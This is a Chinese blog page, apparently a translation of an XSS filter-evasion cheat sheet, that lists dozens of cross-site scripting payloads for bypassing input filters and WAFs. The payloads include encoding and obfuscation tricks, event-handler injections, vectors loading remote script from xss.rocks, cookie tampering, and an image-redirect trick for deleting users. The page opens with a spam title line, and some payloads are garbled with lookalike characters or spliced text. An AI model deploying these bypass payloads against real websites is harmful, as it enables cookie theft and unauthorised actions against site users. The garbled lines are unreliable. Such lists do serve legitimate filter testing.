91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何繞過XSS的防護

發布時間:2021-12-23 09:15:18 來源:億速云 閱讀:127 作者:柒染 欄目:網絡管理

今天就跟大家聊聊有關如何繞過XSS的防護,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。

下面列出了一系列XSS攻擊,可用于繞過某些XSS防御filter。針對輸入進行過濾是不完全是XSS的防御方法,可以使用這些payload來測試網站在防護XSS攻擊方面的能力,希望你的WAF產品能攔截下面所有的payload。

正文

XSS攻擊原理:

攻擊者向有XSS漏洞的網站中置入精心構造惡意的HTML代碼,當用戶瀏覽該網站時,這段HTML代碼會自動執行,從而達到攻擊的目的。

XSS攻擊可以分成兩種類型:一種是非持久型XSS攻擊 一種是持久型XSS攻擊。

反射型:請求地址上加入惡心的HTML代碼。

如何繞過XSS的防護

dom型:api向網站注入一些惡意的HTML代碼

如何繞過XSS的防護

持久性:攻擊者把惡意代碼提交到后臺數據庫中,當用戶下次打開的時候就會從后臺接收這些惡意的代碼。

如何繞過XSS的防護

防范:

    前端通過轉義來進行防范和過濾

    后端主要是通過WAF正則+OWASP規則+XSS語義分析+機器學習payload特征進行防衛。

普通的XSS JavaScript注入:

很可能會被過濾,建議先嘗試一下(現代瀏覽器中都不需要引號,因此此處將其省略)

<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>

XSS有效負載,該測試將在多個上下文中執行,包括html,腳本字符串,js和url:

javascript:/*--></title></style></textarea></script></xmp><svg/οnlοad='+/"/+/οnmοuseοver=1/+/[*/[]/+alert(1)//'>

使用JavaScript指令的IMG SRC XSS,注: IE7.0在圖像上下文中不支持JavaScript指令,但在其他上下文中支持JavaScript指令:

<IMG SRC="javascript:alert('XSS');">

沒有引號也沒分號情況:

<IMG SRC=javascript:alert('XSS')>

大小寫混淆的 XSS攻擊payload:

<IMG SRC=JaVaScRiPt:alert('XSS')>

HTML實體,必須使用分號:

<IMG SRC=javascript:alert(&ampquot;XSS&ampquot;)>

同時使用雙引號和單引號,則可以使用重音符來封裝JavaScript字符串,因為許多跨站點腳本過濾器都不知道重音符:

<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>

畸形的a標簽,跳過HREF屬性:

<a οnmοuseοver="alert(document.cookie)">xxs link</a>

Chrome瀏覽器喜歡為替換丟失的引號,Chrome會將其放在正確的位置,并在URL或腳本上修復丟失的引號。

<a οnmοuseοver=alert(document.cookie)>xxs link</a>

格式錯誤的IMG標簽,封裝在引號中的IMG標簽內創建我們的XSS矢量,為了糾正草率的編碼。這將使正確解析HTML標記變得更加困難:

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

fromCharCode源字符碼,不允許任何類型的引號,可以在JavaScript中eval()a fromCharCode來創建所需的XSS向量:

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

默認SRC標記可獲取過去檢查SRC域名的filter,這將繞過大多數SRC域過濾器。在事件方法中插入javascript還將適用于任何使用Form,Iframe,Input,Embed等元素的HTML標記類型注入。這還將允許您將標記類型的任何相關事件替換為onbluronclick從而為您提供大量的這里列出的許多注射的變化:

<IMG SRC=# οnmοuseοver="alert('xxs')">

保留默認的SRC標簽為空:

<IMG SRC= οnmοuseοver="alert('xxs')">

Default SRC tag by leaving it out entirely,完全忽略src:

<IMG οnmοuseοver="alert('xxs')">

錯誤提示 onerror alert:

<IMG SRC=/ οnerrοr="alert(String.fromCharCode(88,83,83))"></img>

IMG onerror and javascript alert 編碼:

<img src=x οnerrοr="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">

Decimal HTML character references,十進制字符引用,在<IMG標記內使用javascript:指令的所有XSS示例都無法在Gecko渲染引擎模式下的Firefox或Netscape 8.1+中運行):

<IMG SRC=&amp#106;&amp#97;&amp#118;&amp#97;&amp#115;&amp#99;&amp#114;&amp#105;&amp#112;&amp#116;&amp#58;&amp#97;&amp#108;&amp#101;&amp#114;&amp#116;&amp#40;&amp#39;&amp#88;&amp#83;&amp#83;&amp#39;&amp#41;>

十進制html字符引用,without trailing semicolons,同上+沒有尾隨分號,這在嘗試查找“&#XX;”的XSS中通常很有效,因為大多數人都不了解填充-總共最多7個數字字符。這對于使用$ tmp_string =?s /.*\&#(\ d +);。* / $ 1 /;等字符串進行解碼的人也很有用。這錯誤地假設需要使用分號來終止html編碼的字符串:

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

十六進制html字符引用,without trailing semicolons,不帶尾部分號:

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

嵌入標簽,用于破壞跨站點腳本攻擊:

<IMG SRC="jav ascript:alert('XSS');">

嵌入編碼標簽,用于分解XSS:

<IMG SRC="jav&amp#x09;ascript:alert('XSS');">

嵌入換行分解XSS:

<IMG SRC="jav&amp#x0A;ascript:alert('XSS');">

Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details

嵌入carriage返回分解 XSS:

\x0D是十六進制,也就是13所對就在的ASCII碼字符,也就是回車符

<IMG SRC="jav&amp#x0D;ascript:alert('XSS');">

null分解js指令,但是空字符%00更有用,它幫助我繞過了某些現實世界的過濾器:

perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out

XSS圖像中JavaScript之前的空格和元字符:

錯誤地假設引號和“javascript:”關鍵字之間不能有空格,則這非常有用。實際情況是,您可以使用小數點后1-32之間的任何字符

<IMG SRC=" &amp#14; javascript:alert('XSS');">

非字母非數字XSS:

Firefox HTML解析器假設非alpha非數字在HTML關鍵字后無效,認為它是HTML標記后的空白或無效標記。

一些XSS過濾器假定它們要查找的標記被空白分隔開。例如“<SCRIPT\s”!=“<SCRIPT/XSS\s”。

<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>

Gecko呈現引擎允許在事件處理程序和等號之間使用除字母、數字或封裝字符(如引號、尖括號等)以外的任何字符,從而更容易繞過跨站點腳本塊。

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

多余的開放括號:

某些檢測引擎使用成對的開閉尖括號,然后對標簽進行比較,

雙斜線注釋了結束的無關括號,以抑制JavaScript錯誤。

<<SCRIPT>alert("XSS");//<</SCRIPT>

沒有結束腳本tag:

在Firefox和Netscape 8.1的Gecko渲染引擎模式下,您實際上不需要這個跨站點腳本向量的“></SCRIPT>”部分。

Firefox assumes it's safe to close the HTML tag and add closing tags for you。

<SCRIPT SRC=http://xss.rocks/xss.js?< B >

js tag中的協議解析:

如果在末尾添加</SCRIPT>標記,Opera中工作,Netscape在IE呈現模式下工作,,

<SCRIPT SRC=//xss.rocks/.j>

半開HTML/JavaScript xss:

與Firefox不同,IE渲染引擎不向頁面添加額外數據,但它允許在圖像中使用javascript:指令。

它不需要閉合尖括號,假設下面有任何HTML標記,您將在其中注入此跨站點腳本向量。即使沒有關閉“>”標簽,下面的標簽也會關閉它。

<IMG SRC="javascript:alert('XSS')"

Double open angle brackets雙開角括號:

在矢末尾使用開放尖括號。

如果沒有它,Firefox將工作,但Netscape不會。

<iframe src=http://xss.rocks/scriptlet.html <

轉義JavaScript轉義:

在JavaScript中輸出一些用戶信息,如:<SCRIPT>var a=“$ENV{QUERY_STRING}”;</SCRIPT>

將自己的JavaScript注入其中,但是服務器端應用程序會轉義某些引號,您可以通過轉義它們的轉義字符來繞過這些引號。

當它被注入時,它將讀取<SCRIPT>var a=“\\”;alert('XSS');//“;</SCRIPT>,最后將取消對雙引號的轉義,并導致跨站點腳本向量觸發。

\";alert('XSS');//

如果對嵌入的數據應用了正確的JSON或Javascript轉義,而不是HTML編碼,則完成腳本塊并啟動。

</script><script>alert('XSS');</script>

結束標簽tag:

關閉<TITLE>標記的簡單XSS向量,可以封裝惡意跨站點腳本攻擊。

</TITLE><SCRIPT>alert("XSS");</SCRIPT>

INPUT image:

<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

BODY image:

<BODY BACKGROUND="javascript:alert('XSS')">

IMG Dynsrc:

<IMG DYNSRC="javascript:alert('XSS')">

IMG lowsrc:

<IMG LOWSRC="javascript:alert('XSS')">

List-style-image:

處理為項目符號列表嵌入圖像的相當深奧的問題,這只適用于IE呈現引擎。不是一個特別有用的跨站點腳本。

<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>

VBscript in an image:

<IMG SRC='vbscript:msgbox("XSS")'>

Livescript(僅限舊版本的Netscape):

<IMG SRC="livescript:[code]">

SVG對象標記:

<svg/οnlοad=alert('XSS')>

SVG object tag:

<svg/οnlοad=alert('XSS')>

ECMAScript 6:

Set.constructor`alert\x28document.domain\x29```

BODY tag:

不需要使用“javascript:”或“<SCRIPT…”的任何變體來完成XSS攻擊,

可以在等號前加一個空格(“οnlοad=”!=“οnlοad=”)。

<BODY ONLOAD=alert('XSS')>

事件句柄:

FSCommand() (攻擊者可以在嵌入式Flash對象中執行此操作)

onAbort() (當用戶中止加載圖像時)

onActivate() (當對象設置為活動元素時)

onAfterPrint() (在用戶打印或預覽打印作業后激活)

onAfterUpdate() (更新源對象中的數據后在數據對象上激活)

onBeforeActivate() (在對象設置為活動元素之前激發)

onBeforeCopy() (攻擊者在將選定內容復制到剪貼板之前執行攻擊字符串-攻擊者可以使用execCommand(“Copy”)函數執行此操作)

onBeforeCut() (攻擊者在剪切選定內容之前執行攻擊字符串)

onBeforeDeactivate() (從當前對象更改activeElement后立即激發)

onBeforeEditFocus() (在可編輯元素中包含的對象進入UI激活狀態之前,或在選中可編輯容器對象時激發)

onBeforePaste() (需要誘使用戶粘貼或使用execCommand(“粘貼”)函數強制用戶粘貼)

onBeforePrint() (需要誘使用戶進行打印,否則攻擊者可以使用print()或execCommand(“print”)函數).

onBeforeUnload() (需要誘使用戶關閉瀏覽器-攻擊者無法卸載windows,除非它是從父級派生的)

onBeforeUpdate() (在更新源對象中的數據之前在數據對象上激活)

onBegin() (onbegin事件在元素的時間線開始時立即激發)

onBlur() (如果加載了另一個彈出窗口and window looses focus)

onBounce() (當選取框對象的behavior屬性設置為“alternate”并且選取框的內容到達窗口的一側時激發)

onCellChange() (當數據提供程序中的數據更改時觸發)

onChange() (“選擇”、“文本”或“文本區域”字段失去focus,其值已被修改)

onClick() (有人點擊表單)

onContextMenu() (用戶需要鼠標右擊攻擊區域)

onControlSelect() (當用戶要對對象進行控件選擇時觸發)

onCopy() (用戶需要復制某些內容,或者可以使用execCommand(“copy”)命令利用它)

onCut() (用戶需要復制某些內容,或者可以使用execCommand(“Cut”)命令利用它)

onDataAvailable() (用戶需要更改元素中的數據,否則攻擊者可以執行相同的功能)

onDataSetChanged() (當數據源對象公開的數據集更改時觸發)

onDataSetComplete() (觸發以指示數據源對象中的所有數據都可用)

onDblClick() (用戶雙擊表單元素或鏈接)

onDeactivate() (當activeElement從當前對象更改為父文檔中的另一個對象時激發)

onDrag() (要求用戶拖動對象)

onDragEnd() (要求用戶拖動對象)

onDragLeave() (要求用戶將對象拖離有效位置)

onDragEnter() (要求用戶將對象拖到有效位置)

onDragOver() (要求用戶將對象拖到有效位置)

onDragDrop() (用戶將對象(如文件)放到瀏覽器窗口中)

onDragStart() (在用戶啟動拖動操作時發生)

onDrop() (用戶將對象(如文件)放到瀏覽器窗口中)

onEnd() (當時間線結束時,onEnd事件將觸發)

onError() (加載文檔或圖像會導致錯誤)

onErrorUpdate() (當更新數據源對象中的關聯數據時出錯時,對數據綁定對象觸發)

onFilterChange() (在視覺篩選器完成狀態更改時觸發)

onFinish() (當選取框完成循環時,攻擊者可以創建攻擊)

onFocus() (當窗口獲得焦點時,攻擊者執行攻擊字符串)

onFocusIn() (當窗口獲得焦點時,攻擊者執行攻擊字符串)

onFocusOut() (當窗口失去焦點時,攻擊者執行攻擊字符串)

onHashChange() (當文檔當前地址的片段標識符部分更改時觸發)

onHelp() (當用戶在窗口處于焦點時點擊F1時,攻擊者執行攻擊字符串)

onInput() (元素的文本內容通過用戶界面更改)

onKeyDown() (用戶按下鍵觸發)

onKeyPress() (用戶按下或按住鍵)

onKeyUp() (用戶松開按鍵)

onLayoutComplete() (用戶必須打印或打印預覽)

onLoad() (攻擊者在窗口加載后執行攻擊字符串)

onLoseCapture() (可被releaseCapture()方法利用)

onMediaComplete() (當使用流媒體文件時,此事件可能在文件開始播放之前觸發)

onMediaError() (用戶在瀏覽器中打開包含媒體文件的頁面,當出現問題時觸發事件)

onMessage() (當文檔收到消息時觸發)

onMouseDown() (攻擊者需要讓用戶單擊圖像)

onMouseEnter() (光標在對象或區域上移動)

onMouseLeave() (攻擊者需要讓用戶將鼠標移到圖像或表上,然后再次關閉)

onMouseMove() (攻擊者需要讓用戶將鼠標移到圖像或表上)

onMouseOut() (攻擊者需要讓用戶將鼠標移到圖像或表上,然后再次關閉)

onMouseOver() (光標在對象或區域上移動)

onMouseUp() (攻擊者需要讓用戶單擊圖像)

onMouseWheel() (攻擊者需要讓用戶使用鼠標滾輪)

onMove() (用戶或攻擊者會移動頁面)

onMoveEnd() (用戶或攻擊者會移動頁面)

onMoveStart() (用戶或攻擊者會移動頁面)

onOffline() (如果瀏覽器在聯機模式下工作并且開始脫機工作,則發生)

onOnline() (如果瀏覽器在脫機模式下工作并且開始聯機工作,則發生)

onOutOfSync() (中斷元素播放時間線定義的媒體的能力)

onPaste() (用戶需要粘貼或攻擊者可以使用execCommand(“粘貼”)函數)

onPause() (當時間線暫停時,onpause事件將對每個活動的元素(包括body元素)觸發)

onPopState() (當用戶導航會話歷史記錄時激發)

onProgress() (攻擊者會將此用作正在加載的flash電影)

onPropertyChange() (用戶或攻擊者需要更改元素屬性)

onReadyStateChange() (用戶或攻擊者需要更改元素屬性)

onRedo() (用戶在撤消事務歷史記錄中前進)

onRepeat() (事件在時間線的每次重復中觸發一次,第一個完整周期除外)

onReset() (用戶或攻擊者重置窗體)

onResize() (用戶將調整窗口大小;攻擊者可以使用以下命令自動初始化:<SCRIPT>self.resizeTo(500400);</SCRIPT>)

onResizeEnd() (用戶將調整窗口大小;攻擊者可以使用以下內容自動初始化: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)

onResizeStart() (用戶將調整窗口大小;攻擊者可以使用以下命令自動初始化: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)

onResume() (onresume事件對時間線恢復時變為活動的每個元素(包括body元素)觸發)

onReverse() (如果元素的repeatCount大于1,則每次時間線開始向后播放時都會觸發此事件)

onRowsEnter() (用戶或攻擊者需要更改數據源中的行)

onRowExit() (用戶或攻擊者需要更改數據源中的行)

onRowDelete() (用戶或攻擊者需要刪除數據源中的行)

onRowInserted() (用戶或攻擊者需要在數據源中插入一行)

onScroll() (用戶需要滾動,否則攻擊者可以使用scrollBy()函數)

onSeek() (onreverse事件在時間線設置為沿除forward以外的任何方向播放時觸發)

onSelect() (用戶需要選擇一些文本-攻擊者可以使用以下命令自動初始化: window.document.execCommand("SelectAll");)

onSelectionChange() (用戶需要選擇一些文本-攻擊者可以使用以下命令自動初始化: window.document.execCommand("SelectAll");)

onSelectStart() (用戶需要選擇一些文本-攻擊者可以使用以下命令自動初始化: window.document.execCommand("SelectAll");)

onStart() (在每個選框循環的開始處激發)

onStop() (用戶需要按下停止按鈕或離開網頁)

onStorage() (存儲區域已更改)

onSyncRestored() (用戶中斷元素的播放時間線定義的媒體的能力)

onSubmit() (需要攻擊者或用戶提交表單)

onTimeError() (用戶或攻擊者將時間屬性(如dur)設置為無效值)

onTrackChange() (用戶或攻擊者更改播放列表中的playlist)

onUndo() (用戶在撤消事務歷史記錄中返回)

onUnload() (當用戶單擊任何鏈接或按下后退按鈕時,攻擊者會強制單擊)

onURLFlip() (當由HTML+TIME(定時交互式多媒體擴展)媒體標記播放的高級流式格式(ASF)文件處理嵌入在ASF文件中的腳本命令時,會觸發此事件)

seekSegmentTime() (這是一個在元素的段時間線上定位指定點并從該點開始播放的方法。該段由一個重復的時間線組成,包括使用AUTOREVERSE屬性的反向播放。)

BGSOUND:

<BGSOUND SRC="javascript:alert('XSS');">

& JavaScript includes:

<BR SIZE="&{alert('XSS')}">

STYLE sheet:

<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

遠程樣式表Remote style sheet:

使用像遠程樣式表這樣簡單的東西,您可以包括XSS,因為可以使用嵌入式表達式重新定義樣式參數。)

這僅在IE和Netscape 8.1+的IE渲染引擎模式下有效。

注意:對于所有這些遠程樣式表示例,它們都使用body標記,因此除非頁面上有向量本身以外的其他內容,否則無法工作。

因此,如果頁面是空白頁面,則需要向該頁面添加一個字母使其工作

<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css">

遠程樣式表Remote style sheet2:

工作原理與上述相同,但使用<STYLE>標記而不是<LINK>標記)。

這個向量的一個微小變化被用來攻擊谷歌桌面。另外,如果在向量之后立即有HTML來關閉end</STYLE>標記,則可以將其刪除。

如果在跨站點腳本攻擊中不能有等號或斜線(在現實世界中至少出現過一次),則這非常有用.

<STYLE>@import'http://xss.rocks/xss.css';</STYLE>

遠程樣式表Remote style sheet3:

這只適用于Opera8.0(不再適用于9.x),但相當棘手。根據RFC2616設置,鏈接頭不是HTTP1.1規范的一部分,但是一些瀏覽器仍然允許它(比如Firefox和Opera)。

這里的訣竅是,我設置了一個頭(基本上與HTTP頭中的Link:<HTTP://xss.rocks/xss.css>;REL=style sheet沒什么不同),

而帶有跨站點腳本向量的遠程樣式表正在運行JavaScript,這在FireFox中是不受支持的。

<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet">

遠程樣式表Remote style sheet4:

這只適用于Gecko渲染引擎,并通過將XUL文件綁定到父頁面來工作。我認為諷刺的是,Netscape認為Gecko更安全,因此對絕大多數網站來說都很脆弱。

<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>

帶有用于XSS的分解JavaScript的STYLE標記STYLE tags with broken up JavaScript for XSS:

此XSS有時會將IE發送到無限循環的警報中。

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

STYLE attribute using a comment to break up expression使用注釋拆分表達式的STYLE屬性:

<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

帶表達式的IMG樣式:

這實際上是上述XSS向量的混合,但它確實顯示了分離樣式標記的難度,就像上面所說的,這可以將IE發送到循環中。

exp/*<A STYLE='no\xss:noxss("*//*");

xss:ex/*XSS*//*/*/pression(alert("XSS"))'>

STYLE tag (Older versions of Netscape only):

<STYLE TYPE="text/javascript">alert('XSS');</STYLE>

STYLE tag using background-image:

<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>

STYLE tag using background:

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

具有STYLE屬性的匿名HTMLAnonymous HTML with STYLE attribute:

IE6和Netscape 8.1 +在IE渲染引擎模式中并不真正關心你構建的HTML標簽是否存在,只要它從一個打開的角度括號和一個字母開始.

<XSS STYLE="xss:expression(alert('XSS'))">

Local htc file本地htc文件:

這與上面兩個跨站點腳本向量略有不同,因為它使用的.htc文件必須與XSS向量位于同一服務器上。

示例文件的工作方式是:拉入JavaScript并將其作為style屬性的一部分運行.

<XSS STYLE="behavior: url(xss.htc);">

US-ASCII encoding:

它使用格式錯誤的ASCII編碼,使用7位而不是8位。此XSS可以繞過許多內容過濾器,

但僅在主機使用US-ASCII編碼傳輸或您自己設置編碼時才起作用。

這對于web應用程序防火墻跨站點腳本規避比服務器端篩選器規避更有用。

Apache Tomcat是唯一已知的以US-ASCII編碼傳輸的服務器。

?script?alert(¢XSS¢)?/script?

META:

meta-refresh的奇怪之處在于它沒有在頭中發送referer,因此它可以用于某些類型的攻擊,在這些攻擊中,您需要刪除引用的url。

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

META using data:

指令URL方案。這很好,因為它也沒有任何明顯包含腳本或JavaScript指令的東西,因為它使用base64編碼。

請參閱RFC2397了解更多詳細信息,或在這里或這里編碼您自己的。如果您只想對原始HTML或JavaScript進行編碼,

也可以使用下面的XSS計算器,因為它具有Base64編碼方法。

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

META with additional URL parameter:

如果目標網站試圖查看URL開頭是否包含“http://”。

<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">

IFRAME:

If iframes are allowed there are a lot of other XSS problems as well。

<IFRAME SRC="javascript:alert('XSS');"></IFRAME>

IFRAME Event based:

IFrames和大多數其他元素可以使用基于事件的mayhem,如下所示。。。

<IFRAME SRC=# οnmοuseοver="alert(document.cookie)"></IFRAME>

FRAME:

Frames have the same sorts of XSS problems as iframes

<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>

TABLE:

<TABLE BACKGROUND="javascript:alert('XSS')">

TD:

正如上面所述,TD很容易受到包含JavaScript XSS向量的背景的攻擊。

<TABLE><TD BACKGROUND="javascript:alert('XSS')">

DIV:

DIV background-image

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

DIV background-image with unicoded XSS exploit:

這已經被稍微修改,以混淆url參數。

<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">

DIV background-image plus extra characters額外字符:

在IE和Netscape 8.1中的安全站點模式下,在開括號之后、JavaScript指令之前允許的任何錯誤字符。這些是十進制的,但是當然可以包括十六進制和添加填充。

可以使用以下任何字符:1-32、34、39、160、8192-8.13、12288、65279。

<DIV STYLE="background-image: url(&amp#1;javascript:alert('XSS'))">

DIV expression:

這種方法的一個變體對現實世界中使用冒號和“表達式”之間的換行符的跨站點腳本過濾器是有效的.

<DIV STYLE="width: expression(alert('XSS'));">

Downlevel-Hidden block:

僅適用于IE5.0及更高版本,Netscape 8.1適用于IE渲染引擎模式)。有些網站認為評論塊中的任何內容都是安全的,因此不需要刪除,這就允許我們使用跨站點腳本。

或者系統可以在某些東西周圍添加注釋標記,試圖使其無害化。如我們所見,這可能不起作用.

<!--[if gte IE 4]>

<SCRIPT>alert('XSS');</SCRIPT>

<![endif]-->

BASE tag:

在IE和Netscape 8.1中以安全模式工作。您需要//來注釋掉下一個字符,這樣就不會出現JavaScript錯誤,XSS標記將呈現。

此外,這依賴于網站使用動態放置的圖像,如“images/image.jpg”,而不是完整路徑。

如果路徑包含一個前導正斜杠,如“/images/image.jpg”,則可以從該向量中刪除一個斜杠(只要有兩個斜杠開始注釋,則此操作有效)

<BASE HREF="javascript:alert('XSS');//">

OBJECT tag:

如果它們允許對象,您還可以注入病毒有效負載以感染用戶等,與APPLET標記相同)。鏈接文件實際上是一個HTML文件,可以包含您的XSS.

<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>

使用嵌入標記可以嵌入包含xss的Flash電影:

單擊此處進行演示。如果添加allowScriptAccess=“never”和allownetworking=“internal”屬性,則可以降低此風險.

EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:

org/xss.swf" AllowScriptAccess="always"></EMBED>

You can EMBED SVG which can contain your XSS vector:

這個例子只適用于Firefox,但它比Firefox中的上述向量要好,因為它不需要用戶打開或安裝Flash。

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm0yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

在flash中使用ActionScript會混淆XSS向量:

a="get";

b="URL(\"";

c="javascript:";

d="alert('XSS');\")";

eval(a+b+c+d);

帶有CDATA混淆的XML數據:

此XSS攻擊僅在IE渲染引擎模式下的IE和Netscape 8.1中有效.

<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>

<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>

使用XML數據島生成的嵌入JavaScript的本地托管XML:

這與上面的相同,但引用的是包含跨站點腳本向量的本地托管(必須位于同一服務器上)XML文件。

<XML SRC="xsstest.xml" ID=I></XML>

<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

HTML+TIME in XML:

這只適用于IE呈現引擎模式下的Internet Explorer和Netscape 8.1,請記住,您需要介于HTML和正文標記之間才能工作.

<HTML><BODY>

<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">

<?import namespace="t" implementation="#default#time2">

<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">

</BODY></HTML>

假設您只能容納幾個字符,并且它會過濾“.js”:

您可以將JavaScript文件重命名為圖像作為XSS向量.

<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>

SSI (Server Side Includes):

這需要在服務器上安裝SSI才能使用此XSS向量。我可能不需要提及這一點,但如果您可以在服務器上運行命令,無疑會出現更嚴重的問題.

<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"-->

PHP:

需要在服務器上安裝PHP才能使用此XSS向量。同樣,如果你能像這樣遠程運行任何腳本,可能會有更可怕的問題.

<? echo('<SCR)';

echo('IPT>alert("XSS")</SCRIPT>'); ?>

IMG Embedded commands:

當插入此內容的網頁(如網頁板)位于密碼保護之后,并且密碼保護與同一域上的其他命令一起工作時,此操作有效。

這可用于刪除用戶、添加用戶(如果訪問該頁的用戶是管理員)、將憑據發送到其他位置等。。。。這是使用較少但更有用的XSS向量之一.

<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">

IMG Embedded commands part II:

這更可怕,因為除了它不在您自己的域中之外,沒有任何標識使它看起來可疑。

向量使用302或304(其他也可以)將圖像重定向回命令。

因此,一個普通的<IMG SRC=“httx://badguy.com/a.jpg”>實際上可能是一個攻擊向量,作為查看圖像鏈接的用戶運行命令。

下面是.htaccess(在Apache下)行來完成向量.

Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser

Cookie 篡改:

不可否認,這是相當模糊的,但我看到了幾個例子,其中<META是允許的,您可以使用它覆蓋cookies。

還有其他一些站點的例子,其中存儲在cookie中的用戶名不是從數據庫中獲取的,而是只顯示給訪問頁面的用戶。

結合這兩個場景,您可以修改受害者的cookie,該cookie將以JavaScript的形式顯示給他們

(您還可以使用它來注銷或更改他們的用戶狀態,讓他們以您的身份登錄,等等)。

<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">

UTF-7 encoding:

如果XSS所在的頁面沒有提供頁面字符集頭,或者任何設置為UTF-7編碼的瀏覽器都可以使用以下內容。

單擊此處獲取示例(如果用戶的瀏覽器設置為“自動檢測”,并且在Internet Explorer和IE呈現引擎模式下的Netscape 8.1中沒有覆蓋頁面上的內容類型,則不需要charset語句)。

這在任何現代瀏覽器中都無法工作,除非更改編碼類型,這就是為什么將其標記為完全不受支持的原因。Watchfire在Google的自定義404腳本中發現了這個漏洞

<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

使用HTML引號封裝的XSS:

這是IE測試的,你的里程數可能會有所不同。對于允許“<SCRIPT>”但不允許“<SCRIPT SRC…”通過regex過濾器“/<SCRIPT[^>]+SRC/i”的站點執行XSS。

<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>

用于在允許“<SCRIPT>”但不允許“<SCRIPT src…”的站點上

通過regex過濾器“/<SCRIPT”((\s+\w+(\s*=\s*)(?:"(.)*?"|'(.)*?'|[^'“>\s]+)?)+\s*|\s*)src/i“

<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT>

還有另一個xs要避開同一個過濾器,“/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'“>\s]+)?)+\s*|\s*)src/i“。

我知道我說過我不打算討論緩解技術,但是如果您仍然希望允許<SCRIPT>標記,而不是遠程腳本,

那么對于這個XSS示例,我看到的唯一有用的東西是一個狀態機(當然,如果允許<SCRIPT>標記,還有其他方法可以繞過這個問題).

